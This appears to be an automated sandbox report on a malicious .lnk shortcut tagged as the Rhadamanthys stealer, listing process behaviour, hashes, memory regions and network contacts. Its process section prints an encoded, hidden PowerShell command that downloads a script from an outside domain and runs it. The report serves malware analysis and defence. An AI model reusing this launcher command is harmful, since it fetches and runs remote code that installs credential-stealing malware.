Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-nc45bsad2y
Target DOC692-692692.lnk
SHA256 decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f

Threat Level: Known bad

The file DOC692-692692.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Suspicious use of NtCreateUserProcessOtherParentProcess

Rhadamanthys

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:16

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:16

Reported

2024-04-05 11:18

Platform

win7-20240221-en

Max time kernel

121s

Max time network

122s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2420 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2420 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2420 wrote to memory of 2716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2716-39-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

memory/2716-38-0x000000001B620000-0x000000001B902000-memory.dmp

memory/2716-41-0x0000000001F30000-0x0000000001F38000-memory.dmp

memory/2716-40-0x0000000002ED0000-0x0000000002F50000-memory.dmp

memory/2716-42-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

memory/2716-44-0x0000000002ED0000-0x0000000002F50000-memory.dmp

memory/2716-43-0x0000000002ED0000-0x0000000002F50000-memory.dmp

memory/2716-45-0x0000000002ED0000-0x0000000002F50000-memory.dmp

memory/2716-46-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:16

Reported

2024-04-05 11:18

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

152s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4960 created 2824 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 44.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 81.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 154.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 89.65.42.20.in-addr.arpa udp

Files

memory/4960-2-0x00000176C8760000-0x00000176C8782000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yu0hllo.pcz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4960-12-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp

memory/4960-14-0x00000176C87D0000-0x00000176C87E0000-memory.dmp

memory/4960-13-0x00000176C87D0000-0x00000176C87E0000-memory.dmp

memory/4960-15-0x00000176C8DB0000-0x00000176C8E0E000-memory.dmp

memory/4960-16-0x00000176C8E10000-0x00000176C8E20000-memory.dmp

memory/4960-17-0x00000176C8E30000-0x00000176C9230000-memory.dmp

memory/4960-18-0x00000176C8E30000-0x00000176C9230000-memory.dmp

memory/4960-19-0x00000176C8E30000-0x00000176C9230000-memory.dmp

memory/4960-20-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp

memory/4960-21-0x00000176C8E30000-0x00000176C9230000-memory.dmp

memory/4960-22-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp

memory/4960-23-0x00007FFF32070000-0x00007FFF32339000-memory.dmp

memory/3656-24-0x000002B02B420000-0x000002B02B429000-memory.dmp

memory/3656-29-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp

memory/3656-28-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp

memory/4960-30-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp

memory/4960-32-0x00000176C8E10000-0x00000176C8E20000-memory.dmp

memory/3656-33-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp

memory/4960-34-0x00000176C8E30000-0x00000176C9230000-memory.dmp

memory/3656-36-0x00007FFF32070000-0x00007FFF32339000-memory.dmp

memory/3656-35-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp

memory/3656-31-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp

memory/3656-37-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp